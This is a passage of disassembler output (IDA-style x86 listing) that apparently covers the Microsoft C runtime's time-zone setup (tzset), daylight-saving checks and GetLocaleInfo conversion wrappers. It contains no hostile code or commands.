XREF: sub_431980+68j mov ecx, [ebp+var_18] imul ecx, 0Ch mov edx, [ebp+var_4] add edx, ecx mov [ebp+var_8], edx mov eax, [ebp+var_8] xor ecx, ecx mov cx, [eax] cmp ecx, 8000h jl short loc_431A2D mov edx, [ebp+var_8] mov eax, [edx] mov [ebp+var_14], eax mov ecx, [edx+4] mov [ebp+var_10], ecx mov edx, [edx+8] mov [ebp+var_C], edx mov eax, [ebp+var_14+2] sub eax, 1 mov [ebp+var_14+2], eax lea ecx, [ebp+var_14] mov [ebp+var_8], ecx loc_431A2D: ; CODE XREF: sub_431980+88j mov edx, [ebp+var_8] push edx mov eax, [ebp+arg_0] push eax call sub_431540 add esp, 8 jmp short loc_4319C3 ; --------------------------------------------------------------------------- loc_431A3F: ; CODE XREF: sub_431980+17j ; sub_431980+47j mov esp, ebp pop ebp retn sub_431980 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_431A50 proc near ; CODE XREF: sub_430010:loc_43052Bp push ebp mov ebp, esp cmp dword_4DE2F8, 0 jnz short loc_431A8B push 0Bh call sub_41BC80 add esp, 4 cmp dword_4DE2F8, 0 jnz short loc_431A81 call sub_431AB0 mov eax, dword_4DE2F8 add eax, 1 mov dword_4DE2F8, eax loc_431A81: ; CODE XREF: sub_431A50+1Dj push 0Bh call sub_41BD20 add esp, 4 loc_431A8B: ; CODE XREF: sub_431A50+Aj pop ebp retn sub_431A50 endp ; --------------------------------------------------------------------------- align 10h push ebp mov ebp, esp push 0Bh call sub_41BC80 add esp, 4 call sub_431AB0 push 0Bh call sub_41BD20 add esp, 4 pop ebp retn ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_431AB0 proc near ; CODE XREF: sub_431A50+1Fp ; .data:00431A9Dp var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp sub esp, 0Ch mov [ebp+var_4], 0 push 0Ch call sub_41BC80 add esp, 4 mov dword_4DE240, 0 mov dword_448448, 0FFFFFFFFh mov eax, dword_448448 mov dword_448438, eax push offset aTz ; "TZ" call sub_432710 add esp, 4 mov [ebp+var_C], eax cmp [ebp+var_C], 0 jnz loc_431C33 push 0Ch call sub_41BD20 add esp, 4 push offset dword_4DE248 call dword_4E02E0 ; GetTimeZoneInformation cmp eax, 0FFFFFFFFh jz loc_431C2E mov dword_4DE240, 1 mov ecx, dword_4DE248 imul ecx, 3Ch mov dword_4483A0, ecx xor edx, edx mov dx, word_4DE28E test edx, edx jz short loc_431B59 mov eax, dword_4DE29C imul eax, 3Ch mov ecx, dword_4483A0 add ecx, eax mov dword_4483A0, ecx loc_431B59: ; CODE XREF: sub_431AB0+91j xor edx, edx mov dx, word_4DE2E2 test edx, edx jz short loc_431B8E cmp dword_4DE2F0, 0 jz short loc_431B8E mov dword_4483A4, 1 mov eax, dword_4DE2F0 sub eax, dword_4DE29C imul eax, 3Ch mov dword_4483A8, eax jmp short loc_431BA2 ; --------------------------------------------------------------------------- loc_431B8E: ; CODE XREF: sub_431AB0+B4j ; sub_431AB0+BDj mov dword_4483A4, 0 mov dword_4483A8, 0 loc_431BA2: ; CODE XREF: sub_431AB0+DCj lea ecx, [ebp+var_8] push ecx push 0 push 3Fh mov edx, off_44842C push edx push 0FFFFFFFFh push offset dword_4DE24C push 220h mov eax, dword_4DE084 push eax call dword_4E0424 ; WideCharToMultiByte test eax, eax jz short loc_431BDF cmp [ebp+var_8], 0 jnz short loc_431BDF mov ecx, off_44842C mov byte ptr [ecx+3Fh], 0 jmp short loc_431BE8 ; --------------------------------------------------------------------------- loc_431BDF: ; CODE XREF: sub_431AB0+11Bj ; sub_431AB0+121j mov edx, off_44842C mov byte ptr [edx], 0 loc_431BE8: ; CODE XREF: sub_431AB0+12Dj lea eax, [ebp+var_8] push eax push 0 push 3Fh mov ecx, off_448430 push ecx push 0FFFFFFFFh push offset dword_4DE2A0 push 220h mov edx, dword_4DE084 push edx call dword_4E0424 ; WideCharToMultiByte test eax, eax jz short loc_431C25 cmp [ebp+var_8], 0 jnz short loc_431C25 mov eax, off_448430 mov byte ptr [eax+3Fh], 0 jmp short loc_431C2E ; --------------------------------------------------------------------------- loc_431C25: ; CODE XREF: sub_431AB0+162j ; sub_431AB0+168j mov ecx, off_448430 mov byte ptr [ecx], 0 loc_431C2E: ; CODE XREF: sub_431AB0+67j ; sub_431AB0+173j jmp loc_431E57 ; --------------------------------------------------------------------------- loc_431C33: ; CODE XREF: sub_431AB0+49j mov edx, [ebp+var_C] movsx eax, byte ptr [edx] test eax, eax jz short loc_431C5D cmp dword_4DE2F4, 0 jz short loc_431C6C mov ecx, dword_4DE2F4 push ecx mov edx, [ebp+var_C] push edx call sub_418A30 add esp, 8 test eax, eax jnz short loc_431C6C loc_431C5D: ; CODE XREF: sub_431AB0+18Bj push 0Ch call sub_41BD20 add esp, 4 jmp loc_431E57 ; --------------------------------------------------------------------------- loc_431C6C: ; CODE XREF: sub_431AB0+194j ; sub_431AB0+1ABj push 2 mov eax, dword_4DE2F4 push eax call sub_415C60 add esp, 8 push 10Ch push offset aTzset_c ; "tzset.c" push 2 mov ecx, [ebp+var_C] push ecx call sub_414EC0 add esp, 4 add eax, 1 push eax call sub_4150C0 add esp, 10h mov dword_4DE2F4, eax cmp dword_4DE2F4, 0 jnz short loc_431CBD push 0Ch call sub_41BD20 add esp, 4 jmp loc_431E57 ; --------------------------------------------------------------------------- loc_431CBD: ; CODE XREF: sub_431AB0+1FCj mov edx, [ebp+var_C] push edx mov eax, dword_4DE2F4 push eax call sub_418870 add esp, 8 push 0Ch call sub_41BD20 add esp, 4 push 3 mov ecx, [ebp+var_C] push ecx mov edx, off_44842C push edx call sub_417760 add esp, 0Ch mov eax, off_44842C mov byte ptr [eax+3], 0 mov ecx, [ebp+var_C] add ecx, 3 mov [ebp+var_C], ecx mov edx, [ebp+var_C] movsx eax, byte ptr [edx] cmp eax, 2Dh jnz short loc_431D1D mov ecx, [ebp+var_4] add ecx, 1 mov [ebp+var_4], ecx mov edx, [ebp+var_C] add edx, 1 mov [ebp+var_C], edx loc_431D1D: ; CODE XREF: sub_431AB0+259j mov eax, [ebp+var_C] push eax call sub_417860 add esp, 4 imul eax, 0E10h mov dword_4483A0, eax loc_431D34: ; CODE XREF: sub_431AB0+2AEj mov ecx, [ebp+var_C] movsx edx, byte ptr [ecx] cmp edx, 2Bh jz short loc_431D55 mov eax, [ebp+var_C] movsx ecx, byte ptr [eax] cmp ecx, 30h jl short loc_431D60 mov edx, [ebp+var_C] movsx eax, byte ptr [edx] cmp eax, 39h jg short loc_431D60 loc_431D55: ; CODE XREF: sub_431AB0+28Dj mov ecx, [ebp+var_C] add ecx, 1 mov [ebp+var_C], ecx jmp short loc_431D34 ; --------------------------------------------------------------------------- loc_431D60: ; CODE XREF: sub_431AB0+298j ; sub_431AB0+2A3j mov edx, [ebp+var_C] movsx eax, byte ptr [edx] cmp eax, 3Ah jnz loc_431E05 mov ecx, [ebp+var_C] add ecx, 1 mov [ebp+var_C], ecx mov edx, [ebp+var_C] push edx call sub_417860 add esp, 4 imul eax, 3Ch mov ecx, dword_4483A0 add ecx, eax mov dword_4483A0, ecx loc_431D95: ; CODE XREF: sub_431AB0+304j mov edx, [ebp+var_C] movsx eax, byte ptr [edx] cmp eax, 30h jl short loc_431DB6 mov ecx, [ebp+var_C] movsx edx, byte ptr [ecx] cmp edx, 39h jg short loc_431DB6 mov eax, [ebp+var_C] add eax, 1 mov [ebp+var_C], eax jmp short loc_431D95 ; --------------------------------------------------------------------------- loc_431DB6: ; CODE XREF: sub_431AB0+2EEj ; sub_431AB0+2F9j mov ecx, [ebp+var_C] movsx edx, byte ptr [ecx] cmp edx, 3Ah jnz short loc_431E05 mov eax, [ebp+var_C] add eax, 1 mov [ebp+var_C], eax mov ecx, [ebp+var_C] push ecx call sub_417860 add esp, 4 mov edx, dword_4483A0 add edx, eax mov dword_4483A0, edx loc_431DE4: ; CODE XREF: sub_431AB0+353j mov eax, [ebp+var_C] movsx ecx, byte ptr [eax] cmp ecx, 30h jl short loc_431E05 mov edx, [ebp+var_C] movsx eax, byte ptr [edx] cmp eax, 39h jg short loc_431E05 mov ecx, [ebp+var_C] add ecx, 1 mov [ebp+var_C], ecx jmp short loc_431DE4 ; --------------------------------------------------------------------------- loc_431E05: ; CODE XREF: sub_431AB0+2B9j ; sub_431AB0+30Fj ... cmp [ebp+var_4], 0 jz short loc_431E19 mov edx, dword_4483A0 neg edx mov dword_4483A0, edx loc_431E19: ; CODE XREF: sub_431AB0+359j mov eax, [ebp+var_C] movsx ecx, byte ptr [eax] mov dword_4483A4, ecx cmp dword_4483A4, 0 jz short loc_431E4E push 3 mov edx, [ebp+var_C] push edx mov eax, off_448430 push eax call sub_417760 add esp, 0Ch mov ecx, off_448430 mov byte ptr [ecx+3], 0 jmp short loc_431E57 ; --------------------------------------------------------------------------- loc_431E4E: ; CODE XREF: sub_431AB0+37Cj mov edx, off_448430 mov byte ptr [edx], 0 loc_431E57: ; CODE XREF: sub_431AB0:loc_431C2Ej ; sub_431AB0+1B7j ... mov esp, ebp pop ebp retn sub_431AB0 endp ; --------------------------------------------------------------------------- align 10h push ebp mov ebp, esp push ecx push 0Bh call sub_41BC80 add esp, 4 mov eax, [ebp+8] push eax call sub_431E90 add esp, 4 mov [ebp-4], eax push 0Bh call sub_41BD20 add esp, 4 mov eax, [ebp-4] mov esp, ebp pop ebp retn ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_431E90 proc near ; CODE XREF: .data:00431E72p var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx cmp dword_4483A4, 0 jnz short loc_431EA4 xor eax, eax jmp loc_432186 ; --------------------------------------------------------------------------- loc_431EA4: ; CODE XREF: sub_431E90+Bj mov eax, [ebp+arg_0] mov ecx, [eax+14h] cmp ecx, dword_448438 jnz short loc_431EC4 mov edx, [ebp+arg_0] mov eax, [edx+14h] cmp eax, dword_448448 jz loc_43208B loc_431EC4: ; CODE XREF: sub_431E90+20j cmp dword_4DE240, 0 jz loc_432045 xor ecx, ecx mov cx, word_4DE2E0 test ecx, ecx jnz short loc_431F39 xor edx, edx mov dx, word_4DE2EE push edx xor eax, eax mov ax, word_4DE2EC push eax xor ecx, ecx mov cx, word_4DE2EA push ecx xor edx, edx mov dx, word_4DE2E8 push edx push 0 xor eax, eax mov ax, word_4DE2E4 push eax xor ecx, ecx mov cx, word_4DE2E6 push ecx xor edx, edx mov dx, word_4DE2E2 push edx mov eax, [ebp+arg_0] mov ecx, [eax+14h] push ecx push 1 push 1 call sub_432190 add esp, 2Ch jmp short loc_431F8A ; --------------------------------------------------------------------------- loc_431F39: ; CODE XREF: sub_431E90+4Cj xor edx, edx mov dx, word_4DE2EE push edx xor eax, eax mov ax, word_4DE2EC push eax xor ecx, ecx mov cx, word_4DE2EA push ecx xor edx, edx mov dx, word_4DE2E8 push edx xor eax, eax mov ax, word_4DE2E6 push eax push 0 push 0 xor ecx, ecx mov cx, word_4DE2E2 push ecx mov edx, [ebp+arg_0] mov eax, [edx+14h] push eax push 0 push 1 call sub_432190 add esp, 2Ch loc_431F8A: ; CODE XREF: sub_431E90+A7j xor ecx, ecx mov cx, word_4DE28C test ecx, ecx jnz short loc_431FF2 xor edx, edx mov dx, word_4DE29A push edx xor eax, eax mov ax, word_4DE298 push eax xor ecx, ecx mov cx, word_4DE296 push ecx xor edx, edx mov dx, word_4DE294 push edx push 0 xor eax, eax mov ax, word_4DE290 push eax xor ecx, ecx mov cx, word_4DE292 push ecx xor edx, edx mov dx, word_4DE28E push edx mov eax, [ebp+arg_0] mov ecx, [eax+14h] push ecx push 1 push 0 call sub_432190 add esp, 2Ch jmp short loc_432043 ; --------------------------------------------------------------------------- loc_431FF2: ; CODE XREF: sub_431E90+105j xor edx, edx mov dx, word_4DE29A push edx xor eax, eax mov ax, word_4DE298 push eax xor ecx, ecx mov cx, word_4DE296 push ecx xor edx, edx mov dx, word_4DE294 push edx xor eax, eax mov ax, word_4DE292 push eax push 0 push 0 xor ecx, ecx mov cx, word_4DE28E push ecx mov edx, [ebp+arg_0] mov eax, [edx+14h] push eax push 0 push 0 call sub_432190 add esp, 2Ch loc_432043: ; CODE XREF: sub_431E90+160j jmp short loc_43208B ; --------------------------------------------------------------------------- loc_432045: ; CODE XREF: sub_431E90+3Bj push 0 push 0 push 0 push 2 push 0 push 0 push 1 push 4 mov ecx, [ebp+arg_0] mov edx, [ecx+14h] push edx push 1 push 1 call sub_432190 add esp, 2Ch push 0 push 0 push 0 push 2 push 0 push 0 push 5 push 0Ah mov eax, [ebp+arg_0] mov ecx, [eax+14h] push ecx push 1 push 0 call sub_432190 add esp, 2Ch loc_43208B: ; CODE XREF: sub_431E90+2Ej ; sub_431E90:loc_432043j mov edx, dword_44843C cmp edx, dword_44844C jge short loc_4320E4 mov eax, [ebp+arg_0] mov ecx, [eax+1Ch] cmp ecx, dword_44843C jl short loc_4320B5 mov edx, [ebp+arg_0] mov eax, [edx+1Ch] cmp eax, dword_44844C jle short loc_4320BC loc_4320B5: ; CODE XREF: sub_431E90+215j xor eax, eax jmp loc_432186 ; --------------------------------------------------------------------------- loc_4320BC: ; CODE XREF: sub_431E90+223j mov ecx, [ebp+arg_0] mov edx, [ecx+1Ch] cmp edx, dword_44843C jle short loc_4320E2 mov eax, [ebp+arg_0] mov ecx, [eax+1Ch] cmp ecx, dword_44844C jge short loc_4320E2 mov eax, 1 jmp loc_432186 ; --------------------------------------------------------------------------- loc_4320E2: ; CODE XREF: sub_431E90+238j ; sub_431E90+246j jmp short loc_432127 ; --------------------------------------------------------------------------- loc_4320E4: ; CODE XREF: sub_431E90+207j mov edx, [ebp+arg_0] mov eax, [edx+1Ch] cmp eax, dword_44844C jl short loc_432100 mov ecx, [ebp+arg_0] mov edx, [ecx+1Ch] cmp edx, dword_44843C jle short loc_432107 loc_432100: ; CODE XREF: sub_431E90+260j mov eax, 1 jmp short loc_432186 ; --------------------------------------------------------------------------- loc_432107: ; CODE XREF: sub_431E90+26Ej mov eax, [ebp+arg_0] mov ecx, [eax+1Ch] cmp ecx, dword_44844C jle short loc_432127 mov edx, [ebp+arg_0] mov eax, [edx+1Ch] cmp eax, dword_44843C jge short loc_432127 xor eax, eax jmp short loc_432186 ; --------------------------------------------------------------------------- loc_432127: ; CODE XREF: sub_431E90:loc_4320E2j ; sub_431E90+283j ... mov ecx, [ebp+arg_0] mov edx, [ecx+4] imul edx, 3Ch mov eax, [ebp+arg_0] mov ecx, [eax] add ecx, edx mov edx, [ebp+arg_0] mov eax, [edx+8] imul eax, 0E10h add ecx, eax imul ecx, 3E8h mov [ebp+var_4], ecx mov ecx, [ebp+arg_0] mov edx, [ecx+1Ch] cmp edx, dword_44843C jnz short loc_432172 mov eax, [ebp+var_4] cmp eax, dword_448440 jl short loc_43216E mov eax, 1 jmp short loc_432186 ; --------------------------------------------------------------------------- loc_43216E: ; CODE XREF: sub_431E90+2D5j xor eax, eax jmp short loc_432186 ; --------------------------------------------------------------------------- loc_432172: ; CODE XREF: sub_431E90+2CAj mov ecx, [ebp+var_4] cmp ecx, dword_448450 jge short loc_432184 mov eax, 1 jmp short loc_432186 ; --------------------------------------------------------------------------- loc_432184: ; CODE XREF: sub_431E90+2EBj xor eax, eax loc_432186: ; CODE XREF: sub_431E90+Fj ; sub_431E90+227j ... mov esp, ebp pop ebp retn sub_431E90 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_432190 proc near ; CODE XREF: sub_431E90+9Fp ; sub_431E90+F2p ... var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h arg_1C = dword ptr 24h arg_20 = dword ptr 28h arg_24 = dword ptr 2Ch arg_28 = dword ptr 30h push ebp mov ebp, esp sub esp, 14h cmp [ebp+arg_4], 1 jnz loc_43226C mov eax, [ebp+arg_8] and eax, 3 test eax, eax jnz short loc_4321B9 mov ecx, [ebp+arg_C] mov edx, dword_448710[ecx*4] mov [ebp+var_C], edx jmp short loc_4321C6 ; --------------------------------------------------------------------------- loc_4321B9: ; CODE XREF: sub_432190+18j mov eax, [ebp+arg_C] mov ecx, dword_448744[eax*4] mov [ebp+var_C], ecx loc_4321C6: ; CODE XREF: sub_432190+27j mov edx, [ebp+var_C] add edx, 1 mov [ebp+var_8], edx mov eax, [ebp+arg_8] sub eax, 46h imul eax, 16Dh mov ecx, [ebp+var_8] add ecx, eax mov edx, [ebp+arg_8] sub edx, 1 sar edx, 2 lea eax, [ecx+edx-0Dh] cdq mov ecx, 7 idiv ecx mov [ebp+var_4], edx mov edx, [ebp+var_4] cmp edx, [ebp+arg_14] jg short loc_432219 mov eax, [ebp+arg_14] sub eax, [ebp+var_4] mov ecx, [ebp+arg_10] sub ecx, 1 imul ecx, 7 add ecx, [ebp+var_8] add ecx, eax mov [ebp+var_8], ecx jmp short loc_43222D ; --------------------------------------------------------------------------- loc_432219: ; CODE XREF: sub_432190+6Ej mov edx, [ebp+arg_14] sub edx, [ebp+var_4] mov eax, [ebp+arg_10] imul eax, 7 add eax, [ebp+var_8] add eax, edx mov [ebp+var_8], eax loc_43222D: ; CODE XREF: sub_432190+87j cmp [ebp+arg_10], 5 jnz short loc_43226A mov ecx, [ebp+arg_8] and ecx, 3 test ecx, ecx jnz short loc_43224C mov edx, [ebp+arg_C] mov eax, dword_448714[edx*4] mov [ebp+var_10], eax jmp short loc_432259 ; --------------------------------------------------------------------------- loc_43224C: ; CODE XREF: sub_432190+ABj mov ecx, [ebp+arg_C] mov edx, dword_448748[ecx*4] mov [ebp+var_10], edx loc_432259: ; CODE XREF: sub_432190+BAj mov eax, [ebp+var_8] cmp eax, [ebp+var_10] jle short loc_43226A mov ecx, [ebp+var_8] sub ecx, 7 mov [ebp+var_8], ecx loc_43226A: ; CODE XREF: sub_432190+A1j ; sub_432190+CFj jmp short loc_4322A1 ; --------------------------------------------------------------------------- loc_43226C: ; CODE XREF: sub_432190+Aj mov edx, [ebp+arg_8] and edx, 3 test edx, edx jnz short loc_432285 mov eax, [ebp+arg_C] mov ecx, dword_448710[eax*4] mov [ebp+var_14], ecx jmp short loc_432292 ; --------------------------------------------------------------------------- loc_432285: ; CODE XREF: sub_432190+E4j mov edx, [ebp+arg_C] mov eax, dword_448744[edx*4] mov [ebp+var_14], eax loc_432292: ; CODE XREF: sub_432190+F3j mov ecx, [ebp+var_14] mov [ebp+var_8], ecx mov edx, [ebp+var_8] add edx, [ebp+arg_18] mov [ebp+var_8], edx loc_4322A1: ; CODE XREF: sub_432190:loc_43226Aj cmp [ebp+arg_0], 1 jnz short loc_4322E1 mov eax, [ebp+var_8] mov dword_44843C, eax mov ecx, [ebp+arg_1C] imul ecx, 3Ch mov edx, [ebp+arg_20] add edx, ecx imul edx, 3Ch mov eax, [ebp+arg_24] add eax, edx imul eax, 3E8h mov ecx, [ebp+arg_28] add ecx, eax mov dword_448440, ecx mov edx, [ebp+arg_8] mov dword_448438, edx jmp loc_432384 ; --------------------------------------------------------------------------- loc_4322E1: ; CODE XREF: sub_432190+115j mov eax, [ebp+var_8] mov dword_44844C, eax mov ecx, [ebp+arg_1C] imul ecx, 3Ch mov edx, [ebp+arg_20] add edx, ecx imul edx, 3Ch mov eax, [ebp+arg_24] add eax, edx imul eax, 3E8h mov ecx, [ebp+arg_28] add ecx, eax mov dword_448450, ecx mov edx, dword_4483A8 imul edx, 3E8h mov eax, dword_448450 add eax, edx mov dword_448450, eax cmp dword_448450, 0 jge short loc_432351 mov ecx, dword_448450 add ecx, 5265C00h mov dword_448450, ecx mov edx, dword_44844C sub edx, 1 mov dword_44844C, edx jmp short loc_43237B ; --------------------------------------------------------------------------- loc_432351: ; CODE XREF: sub_432190+19Cj cmp dword_448450, 5265C00h jl short loc_43237B mov eax, dword_448450 sub eax, 5265C00h mov dword_448450, eax mov ecx, dword_44844C add ecx, 1 mov dword_44844C, ecx loc_43237B: ; CODE XREF: sub_432190+1BFj ; sub_432190+1CBj mov edx, [ebp+arg_8] mov dword_448448, edx loc_432384: ; CODE XREF: sub_432190+14Cj mov esp, ebp pop ebp retn sub_432190 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_432390 proc near ; CODE XREF: sub_430D00+19Cp var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_435FE8 push offset sub_41BD64 mov eax, large fs:0 push eax mov large fs:0, esp add esp, 0FFFFFFE8h push ebx push esi push edi mov [ebp+var_18], esp cmp dword_4DE2FC, 0 jnz short loc_432402 push 0 push 0 push 1 push 0 call dword_4E02DC ; GetLocaleInfoW test eax, eax jz short loc_4323DD mov dword_4DE2FC, 1 jmp short loc_432402 ; --------------------------------------------------------------------------- loc_4323DD: ; CODE XREF: sub_432390+3Fj push 0 push 0 push 1 push 0 call dword_4E0398 ; GetLocaleInfoA test eax, eax jz short loc_4323FB mov dword_4DE2FC, 2 jmp short loc_432402 ; --------------------------------------------------------------------------- loc_4323FB: ; CODE XREF: sub_432390+5Dj xor eax, eax jmp loc_432511 ; --------------------------------------------------------------------------- loc_432402: ; CODE XREF: sub_432390+2Dj ; sub_432390+4Bj ... cmp dword_4DE2FC, 1 jnz short loc_432426 mov eax, [ebp+arg_C] push eax mov ecx, [ebp+arg_8] push ecx mov edx, [ebp+arg_4] push edx mov eax, [ebp+arg_0] push eax call dword_4E02DC ; GetLocaleInfoW jmp loc_432511 ; --------------------------------------------------------------------------- loc_432426: ; CODE XREF: sub_432390+79j cmp dword_4DE2FC, 2 jnz loc_43250F cmp [ebp+arg_10], 0 jnz short loc_432442 mov ecx, dword_4DE084 mov [ebp+arg_10], ecx loc_432442: ; CODE XREF: sub_432390+A7j push 0 push 0 mov edx, [ebp+arg_4] push edx mov eax, [ebp+arg_0] push eax call dword_4E0398 ; GetLocaleInfoA mov [ebp+var_1C], eax cmp [ebp+var_1C], 0 jnz short loc_432464 xor eax, eax jmp loc_432511 ; --------------------------------------------------------------------------- loc_432464: ; CODE XREF: sub_432390+CBj mov [ebp+var_4], 0 mov eax, [ebp+var_1C] add eax, 3 and al, 0FCh call sub_4181D0 mov [ebp+var_28], esp mov [ebp+var_18], esp mov ecx, [ebp+var_28] mov [ebp+var_20], ecx mov [ebp+var_4], 0FFFFFFFFh jmp short loc_4324A4 ; --------------------------------------------------------------------------- mov eax, 1 retn ; --------------------------------------------------------------------------- mov esp, [ebp+var_18] mov [ebp+var_20], 0 mov [ebp+var_4], 0FFFFFFFFh loc_4324A4: ; CODE XREF: sub_432390+FBj cmp [ebp+var_20], 0 jnz short loc_4324AE xor eax, eax jmp short loc_432511 ; --------------------------------------------------------------------------- loc_4324AE: ; CODE XREF: sub_432390+118j mov edx, [ebp+var_1C] push edx mov eax, [ebp+var_20] push eax mov ecx, [ebp+arg_4] push ecx mov edx, [ebp+arg_0] push edx call dword_4E0398 ; GetLocaleInfoA test eax, eax jnz short loc_4324CC xor eax, eax jmp short loc_432511 ; --------------------------------------------------------------------------- loc_4324CC: ; CODE XREF: sub_432390+136j cmp [ebp+arg_C], 0 jnz short loc_4324ED push 0 push 0 push 0FFFFFFFFh mov eax, [ebp+var_20] push eax push 1 mov ecx, [ebp+arg_10] push ecx call dword_4E0428 ; MultiByteToWideChar mov [ebp+var_24], eax jmp short loc_43250A ; --------------------------------------------------------------------------- loc_4324ED: ; CODE XREF: sub_432390+140j mov edx, [ebp+arg_C] push edx mov eax, [ebp+arg_8] push eax push 0FFFFFFFFh mov ecx, [ebp+var_20] push ecx push 1 mov edx, [ebp+arg_10] push edx call dword_4E0428 ; MultiByteToWideChar mov [ebp+var_24], eax loc_43250A: ; CODE XREF: sub_432390+15Bj mov eax, [ebp+var_24] jmp short loc_432511 ; --------------------------------------------------------------------------- loc_43250F: ; CODE XREF: sub_432390+9Dj xor eax, eax loc_432511: ; CODE XREF: sub_432390+6Dj ; sub_432390+91j ... lea esp, [ebp-34h] mov ecx, [ebp+var_10] mov large fs:0, ecx pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_432390 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_432530 proc near ; CODE XREF: sub_430D00+4Bp ; sub_430D00+7Ep ... var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_435FF8 push offset sub_41BD64 mov eax, large fs:0 push eax mov large fs:0, esp add esp, 0FFFFFFE8h push ebx push esi push edi mov [ebp+var_18], esp cmp dword_4DE300, 0 jnz short loc_4325A2 push 0 push 0 push 1 push 0 call dword_4E02DC ; GetLocaleInfoW test eax, eax jz short loc_43257D mov dword_4DE300, 1 jmp short loc_4325A2 ; --------------------------------------------------------------------------- loc_43257D: ; CODE XREF: sub_432530+3Fj push 0 push 0 push 1 push 0 call dword_4E0398 ; GetLocaleInfoA test eax, eax jz short loc_43259B mov dword_4DE300, 2 jmp short loc_4325A2 ; --------------------------------------------------------------------------- loc_43259B: ; CODE XREF: sub_432530+5Dj xor eax, eax jmp loc_4326C1 ; --------------------------------------------------------------------------- loc_4325A2: ; CODE XREF: sub_432530+2Dj ; sub_432530+4Bj ... cmp dword_4DE300, 2 jnz short loc_4325C6 mov eax, [ebp+arg_C] push eax mov ecx, [ebp+arg_8] push ecx mov edx, [ebp+arg_4] push edx mov eax, [ebp+arg_0] push eax call dword_4E0398 ; GetLocaleInfoA jmp loc_4326C1 ; --------------------------------------------------------------------------- loc_4325C6: ; CODE XREF: sub_432530+79j cmp dword_4DE300, 1 jnz loc_4326BF cmp [ebp+arg_10], 0 jnz short loc_4325E2 mov ecx, dword_4DE084 mov [ebp+arg_10], ecx loc_4325E2: ; CODE XREF: sub_432530+A7j push 0 push 0 mov edx, [ebp+arg_4] push edx mov eax, [ebp+arg_0] push eax call dword_4E02DC ; GetLocaleInfoW mov [ebp+var_1C], eax cmp [ebp+var_1C], 0 jnz short loc_432604 xor eax, eax jmp loc_4326C1 ; --------------------------------------------------------------------------- loc_432604: ; CODE XREF: sub_432530+CBj mov [ebp+var_4], 0 mov eax, [ebp+var_1C] shl eax, 1 add eax, 3 and al, 0FCh call sub_4181D0 mov [ebp+var_28], esp mov [ebp+var_18], esp mov ecx, [ebp+var_28] mov [ebp+var_20], ecx mov [ebp+var_4], 0FFFFFFFFh jmp short loc_432646 ; --------------------------------------------------------------------------- mov eax, 1 retn ; --------------------------------------------------------------------------- mov esp, [ebp+var_18] mov [ebp+var_20], 0 mov [ebp+var_4], 0FFFFFFFFh loc_432646: ; CODE XREF: sub_432530+FDj cmp [ebp+var_20], 0 jnz short loc_432650 xor eax, eax jmp short loc_4326C1 ; --------------------------------------------------------------------------- loc_432650: ; CODE XREF: sub_432530+11Aj mov edx, [ebp+var_1C] push edx mov eax, [ebp+var_20] push eax mov ecx, [ebp+arg_4] push ecx mov edx, [ebp+arg_0] push edx call dword_4E02DC ; GetLocaleInfoW test eax, eax jnz short loc_43266E xor eax, eax jmp short loc_4326C1 ; --------------------------------------------------------------------------- loc_43266E: ; CODE XREF: sub_432530+138j cmp [ebp+arg_C], 0 jnz short loc_432696 push 0 push 0 push 0 push 0 push 0FFFFFFFFh mov eax, [ebp+var_20] push eax push 220h mov ecx, [ebp+arg_10] push ecx call dword_4E0424 ; WideCharToMultiByte mov [ebp+var_24], eax jmp short loc_4326BA ; --------------------------------------------------------------------------- loc_432696: ; CODE XREF: sub_432530+142j push 0 push 0 mov edx, [ebp+arg_C] push edx mov eax, [ebp+arg_8] push eax push 0FFFFFFFFh mov ecx, [ebp+var_20] push ecx push 220h mov edx, [ebp+arg_10] push edx call dword_4E0424 ; WideCharToMultiByte mov [ebp+var_24], eax loc_4326BA: ; CODE XREF: sub_432530+164j mov eax, [ebp+var_24] jmp short loc_4326C1 ; --------------------------------------------------------------------------- loc_4326BF: ; CODE XREF: sub_432530+9Dj xor eax, eax loc_4326C1: ; CODE XREF: sub_432530+6Dj ; sub_432530+91j ... lea esp, [ebp-34h] mov ecx, [ebp+var_10] mov large fs:0, ecx pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_432530 endp ; --------------------------------------------------------------------------- align 10h push ebp mov ebp, esp push ecx push 0Ch call sub_41BC80 add esp, 4 mov eax, [ebp+8] push eax call sub_432710 add esp, 4 mov [ebp-4], eax push 0Ch call sub_41BD20 add esp, 4 mov eax, [ebp-4] mov esp, ebp pop ebp retn ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_432710 proc near ; CODE XREF: sub_431AB0+3Ap ; .data:004326F2p var_8 = dword ptr 